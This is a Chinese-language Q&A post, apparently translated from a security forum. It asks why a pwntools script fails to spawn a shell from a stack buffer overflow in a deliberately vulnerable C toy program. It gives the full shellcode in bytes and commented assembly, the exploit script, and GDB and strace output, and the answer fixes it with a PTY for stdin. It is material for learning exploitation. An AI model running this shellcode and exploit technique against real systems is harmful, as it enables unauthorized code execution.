缓冲区溢出:pwntools 没有给我一个 shell,尽管在没有 pwntools 的情况下漏洞利用工作

逆向工程 Python 开发 缓冲区溢出 工具
2021-06-13 14:24:19

最近,我一直在尝试学习如何使用 pwntools 库。我正在尝试使用 pwntools 来利用以下程序:

#include <stdio.h>
#include <stdlib.h>

int main(void) {
    char buf[256];

    printf("Buffer is at %p.\n", buf);
    printf("Type in your name: ");
    fgets(buf, 1000, stdin);
    printf("Hello %s", buf);

    return 0;
}

它是使用gcc -o bof bof.c -fno-stack-protector -z execstack. 如果我禁用 ASLR,我就可以利用该漏洞。我的漏洞利用只有执行 /bin/sh 的 shellcode,一些无用的 NOP,最后是我的 shellcode 在堆栈中的位置。

$ python -c "import sys; sys.stdout.buffer.write(b'\x48\x31\xc0\x48\x31\xff\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x48\x31\xc0\xb0\x3b\x48\x31\xdb\x53\xbb\x6e\x2f\x73\x68\x48\xc1\xe3\x10\x66\xbb\x62\x69\x48\xc1\xe3\x10\xb7\x2f\x53\x48\x89\xe7\x48\x83\xc7\x01\x48\x31\xf6\x48\x31\xd2\x0f\x05' + b'\x90' * 186 + b'\x50\xdd\xff\xff\xff\x7f')" | ./bof
Buffer is at 0x7fffffffdd50.
$ echo hello world
hello world
$ exit
sh: 2: Cannot set tty process group (No such process)

然而,当我尝试在 pwntools 中做完全相同的事情时,我得到以下信息:

$ python bof.py 
[+] Starting local process './bof': pid 10967
Received: b'Buffer is at 0x7fffffffdd40.\n'
Using address: b'@\xdd\xff\xff\xff\x7f\x00\x00'
Using payload:
b"H1\xc0H1\xff\xb0\x03\x0f\x05PH\xbf/dev/ttyWT_P^f\xbe\x02'\xb0\x02\x0f\x05H1\xc0\xb0;H1\xdbS\xbbn/shH\xc1\xe3\x10f\xbbbiH\xc1\xe3\x10\xb7/SH\x89\xe7H\x83\xc7\x01H1\xf6H1\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@\xdd\xff\xff\xff\x7f\x00\x00"

[*] Switching to interactive mode
$ 
$ $ 
[*] Got EOF while sending in interactive

这是bof.py里面的代码:

from pwn import *
  
# Start the process
context.update(arch="i386", os="linux")
p = process("./bof")
received = str(p.recvline())
print("Received: " + received)

# Get the address of the buffer
buffer_addr_str = received.split()[3:][0][:-4]
buffer_addr = p64(int(buffer_addr_str, 16))
print("Using address: " + str(buffer_addr))

# Generate the payload
payload = b'\x48\x31\xc0\x48\x31\xff\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x48\x31\xc0\xb0\x3b\x48\x31\xdb\x53\xbb\x6e\x2f\x73\x68\x48\xc1\xe3\x10\x66\xbb\x62\x69\x48\xc1\xe3\x10\xb7\x2f\x53\x48\x89\xe7\x48\x83\xc7\x01\x48\x31\xf6\x48\x31\xd2\x0f\x05'
nops = b'\x90' * (264 - len(payload))
print("Using payload:")
print(payload+nops+buffer_addr)
print()

# Trigger the buffer overflow
p.send(payload + nops + buffer_addr)
p.interactive()

这是我正在使用的 shellcode:

section .text
global _start
_start:

; Syscall to close stdin
xor rax, rax
xor rdi, rdi ; Zero represents stdin
mov al, 3 ; close(0)
syscall

; open("/dev/tty", O_RDWR | ...)
push rax ; Push a NULL byte onto the stack
mov rdi, 0x7974742f7665642f ; Move "/dev/tty" (written backwards) into rdi.
push rdi ; Push the string "/dev/tty" onto the stack.
push rsp ; Push a pointer to the string onto the stack.
pop rdi ; rdi now has a pointer to the string "/dev/tty"
        ; This is equivalent to doing "mov rdi, rsp"
push rax ; Push a NULL byte onto the stack
pop rsi ; Make rsi NULL
        ; This is equivalent to doing "mov rsi, 0"
mov si, 0x2702 ; Flag for O_RDWR
mov al, 0x2 ; Syscall for sys_open
syscall

; Syscall for execve
xor rax, rax
mov al, 59

; Push a NULL byte onto the stack
xor rbx, rbx
push rbx

; Push /bin/sh onto the stack and get a pointer to it in rdi
mov rbx, 0x68732f6e ; Move "n/sh" into rbx (written backwards).
shl rbx, 16 ; Make 2 extra bytes of room in rbx
mov bx, 0x6962 ; Move "bi" into rbx. Rbx is now equal to "bin/sh" written backwards.
shl rbx, 16 ; Make 2 extra bytes of room in rbx
mov bh, 0x2f ; Move "/" into rbx. Rbx is now equal to "/bin/sh" written backwards.
push rbx ; Move the string "/bin/sh" onto the stack
mov rdi, rsp ; Get a pointer to the string "/bin/sh" in rdi
add rdi, 1 ; Add one to rdi (because there is a NULL byte at the beginning)

; Make these values NULL
xor rsi, rsi
xor rdx, rdx

; Do the syscall
syscall

我不明白为什么调用 p.interactive() 不会产生一个 shell。如果这是在 pwntools 之外完成的,我将发送相同类型的有效载荷。为什么我没有得到一个shell?

编辑:这是我使用 DEBUG 运行脚本时看到的:

$ python bof.py DEBUG
[+] Starting local process './bof' argv=[b'./bof']  env={b'SHELL': b'/bin/bash', b'SESSION_MANAGER': b'local/N:@/tmp/.ICE-unix/3778,unix/N:/tmp/.ICE-unix/3778', b'QT_ACCESSIBILITY': b'1', b'COLORTERM': b'truecolor', b'XDG_CONFIG_DIRS': b'/etc/xdg/xdg-ubuntu:/etc/xdg', b'XDG_MENU_PREFIX': b'gnome-', b'GNOME_DESKTOP_SESSION_ID': b'this-is-deprecated', b'LANGUAGE': b'en_US:en', b'MANDATORY_PATH': b'/usr/share/gconf/ubuntu.mandatory.path', b'LC_ADDRESS': b'en_US.UTF-8', b'GNOME_SHELL_SESSION_MODE': b'ubuntu', b'LC_NAME': b'en_US.UTF-8', b'SSH_AUTH_SOCK': b'/run/user/1000/keyring/ssh', b'XMODIFIERS': b'@im=ibus', b'DESKTOP_SESSION': b'ubuntu', b'LC_MONETARY': b'en_US.UTF-8', b'SSH_AGENT_PID': b'3743', b'GTK_MODULES': b'gail:atk-bridge', b'PWD': b'/home/n/Documents/Exploitation/basics', b'LOGNAME': b'n', b'XDG_SESSION_DESKTOP': b'ubuntu', b'XDG_SESSION_TYPE': b'x11', b'GPG_AGENT_INFO': b'/run/user/1000/gnupg/S.gpg-agent:0:1', b'XAUTHORITY': b'/run/user/1000/gdm/Xauthority', b'GJS_DEBUG_TOPICS': b'JS ERROR;JS LOG', b'WINDOWPATH': b'2', b'HOME': b'/home/n', b'USERNAME': b'n', b'IM_CONFIG_PHASE': b'1', b'LC_PAPER': b'en_US.UTF-8', b'LANG': b'en_US.UTF-8', b'LS_COLORS': b'rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:', b'XDG_CURRENT_DESKTOP': b'ubuntu:GNOME', b'VTE_VERSION': b'6003', b'GNOME_TERMINAL_SCREEN': b'/org/gnome/Terminal/screen/ff3cb1d9_3c32_4305_b119_f9818ba98eb0', b'INVOCATION_ID': b'f6142bf9cd0a472eadfed7888909b8da', b'MANAGERPID': b'3551', b'GJS_DEBUG_OUTPUT': b'stderr', b'GEM_HOME': b'/home/n/gems', b'LESSCLOSE': b'/usr/bin/lesspipe %s %s', b'XDG_SESSION_CLASS': b'user', b'TERM': b'xterm-256color', b'LC_IDENTIFICATION': b'en_US.UTF-8', b'DEFAULTS_PATH': b'/usr/share/gconf/ubuntu.default.path', b'LESSOPEN': b'| /usr/bin/lesspipe %s', b'USER': b'n', b'GNOME_TERMINAL_SERVICE': b':1.166', b'DISPLAY': b':0', b'SHLVL': b'1', b'LC_TELEPHONE': b'en_US.UTF-8', b'QT_IM_MODULE': b'ibus', b'LC_MEASUREMENT': b'en_US.UTF-8', b'PAPERSIZE': b'letter', b'XDG_RUNTIME_DIR': b'/run/user/1000', b'LC_TIME': b'en_US.UTF-8', b'JOURNAL_STREAM': b'9:50754', b'XDG_DATA_DIRS': b'/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop', b'PATH': b'/home/n/gems/bin:/home/n/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin', b'GDMSESSION': b'ubuntu', b'DBUS_SESSION_BUS_ADDRESS': b'unix:path=/run/user/1000/bus', b'LC_NUMERIC': b'en_US.UTF-8', b'_': b'/usr/bin/python3', b'OLDPWD': b'/home/n/Documents/Exploitation'} : pid 21335
[DEBUG] Received 0x1d bytes:
    b'Buffer is at 0x7fffffffdd40.\n'
Received: b'Buffer is at 0x7fffffffdd40.\n'
Using address: b'@\xdd\xff\xff\xff\x7f\x00\x00'
Using payload:
b"H1\xc0H1\xff\xb0\x03\x0f\x05PH\xbf/dev/ttyWT_P^f\xbe\x02'\xb0\x02\x0f\x05H1\xc0\xb0;H1\xdbS\xbbn/shH\xc1\xe3\x10f\xbbbiH\xc1\xe3\x10\xb7/SH\x89\xe7H\x83\xc7\x01H1\xf6H1\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@\xdd\xff\xff\xff\x7f\x00\x00"

[DEBUG] Sent 0x110 bytes:
    00000000  48 31 c0 48  31 ff b0 03  0f 05 50 48  bf 2f 64 65  │H1·H│1···│··PH│·/de│
    00000010  76 2f 74 74  79 57 54 5f  50 5e 66 be  02 27 b0 02  │v/tt│yWT_│P^f·│·'··│
    00000020  0f 05 48 31  c0 b0 3b 48  31 db 53 bb  6e 2f 73 68  │··H1│··;H│1·S·│n/sh│
    00000030  48 c1 e3 10  66 bb 62 69  48 c1 e3 10  b7 2f 53 48  │H···│f·bi│H···│·/SH│
    00000040  89 e7 48 83  c7 01 48 31  f6 48 31 d2  0f 05 90 90  │··H·│··H1│·H1·│····│
    00000050  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000100  90 90 90 90  90 90 90 90  40 dd ff ff  ff 7f 00 00  │····│····│@···│····│
    00000110
[*] Switching to interactive mode
$ 
[DEBUG] Sent 0x1 bytes:
    10 * 0x1
[DEBUG] Received 0x2 bytes:
    b'$ '
$ $ 
[DEBUG] Sent 0x1 bytes:
    10 * 0x1
[*] Got EOF while sending in interactive

编辑 2:我通过更改p = process("./bof")p = gdb.debug("./bof"). 我在 处设置了一个断点main并逐步执行了该程序。它最终确实正确地执行了我的 shellcode。然而,在我的 shellcode 中的最后一个系统调用执行后,我得到了以下而不是得到一个 shell:

0x00007fffffffdd8c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x3b              
$rbx   : 0x68732f6e69622f00
$rcx   : 0x00007fffffffdd62  →  0xdb31483bb0c03148
$rdx   : 0x0               
$rsp   : 0x00007fffffffde30  →  0x68732f6e69622f00
$rbp   : 0x9090909090909090
$rsi   : 0x0               
$rdi   : 0x00007fffffffde31  →  0x0068732f6e69622f ("/bin/sh"?)
$rip   : 0x00007fffffffdd8c  →  0x909090909090050f
$r8    : 0xfffffffffffffff9
$r9    : 0x114             
$r10   : 0x0000555555556032  →   add BYTE PTR [rax], al
$r11   : 0x346             
$r12   : 0x0000555555555080  →  <_start+0> endbr64 
$r13   : 0x00007fffffffdf30  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde30│+0x0000: 0x68732f6e69622f00   ← $rsp
0x00007fffffffde38│+0x0008: 0x0000000000000000
0x00007fffffffde40│+0x0010: "/dev/tty"
0x00007fffffffde48│+0x0018: 0x0000000000000000
0x00007fffffffde50│+0x0020: 0x00007ffff7ff000a  →   add BYTE PTR [rbp-0x77], cl
0x00007fffffffde58│+0x0028: 0x00007fffffffdf38  →  0x00007fffffffe2ab  →  0x485300666f622f2e ("./bof"?)
0x00007fffffffde60│+0x0030: 0x0000000100000000
0x00007fffffffde68│+0x0038: 0x0000555555555169  →  <main+0> endbr64 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7fffffffdd82                  add    rdi, 0x1
   0x7fffffffdd86                  xor    rsi, rsi
   0x7fffffffdd89                  xor    rdx, rdx
 → 0x7fffffffdd8c                  syscall 
   0x7fffffffdd8e                  nop    
   0x7fffffffdd8f                  nop    
   0x7fffffffdd90                  nop    
   0x7fffffffdd91                  nop    
   0x7fffffffdd92                  nop    
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bof", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7fffffffdd8c → syscall 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  
process 32648 is executing new program: /bin/dash
Reading /bin/dash from remote target...
Reading /bin/dash from remote target...
Reading /bin/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
Reading /bin/.debug/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
Reading /usr/lib/debug//bin/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
Reading /usr/lib/debug/bin//2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
Reading target:/usr/lib/debug/bin//2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
Error in re-setting breakpoint 1: Function "main" not defined.
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
Reading /lib64/ld-2.31.so from remote target...
Reading /lib64/.debug/ld-2.31.so from remote target...
Reading /usr/lib/debug//lib64/ld-2.31.so from remote target...
Reading /usr/lib/debug/lib64//ld-2.31.so from remote target...
Reading target:/usr/lib/debug/lib64//ld-2.31.so from remote target...
Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target...
Reading /lib/x86_64-linux-gnu/libc-2.31.so from remote target...
Reading /lib/x86_64-linux-gnu/.debug/libc-2.31.so from remote target...
Reading /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.31.so from remote target...
Reading /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.31.so from remote target...
1个回答

如果您将流程启动更改为

p = process(["strace", "-o", "strace.out", "./bof"])

并检查生成的strace.out文件,您将看到:

close(0)                                = 0
open("/dev/tty", O_RDWR|O_NOCTTY|O_TRUNC|O_APPEND|FASYNC) = 0
execve("/bin/sh", NULL, NULL)           = 0
...
read(0, 0x55ae7a6d5aa0, 8192)           = -1 EIO (Input/output error)

所以这与 shellcode 重新打开stdin/dev/tty.

让我们检查一下文档

stdin (int) – File object or file descriptor number to use for stdin.
By default, a pipe is used. A pty can be used instead by setting this
to PTY. This will cause programs to behave in an interactive manner
(e.g.., python will show a >>> prompt). If the application reads from
/dev/tty directly, use a pty.

并按照它说的做:

p = process("./bof", stdin=PTY)

瞧!

[*] Switching to interactive mode
Type in your name: $ 
$ $ id -u
1000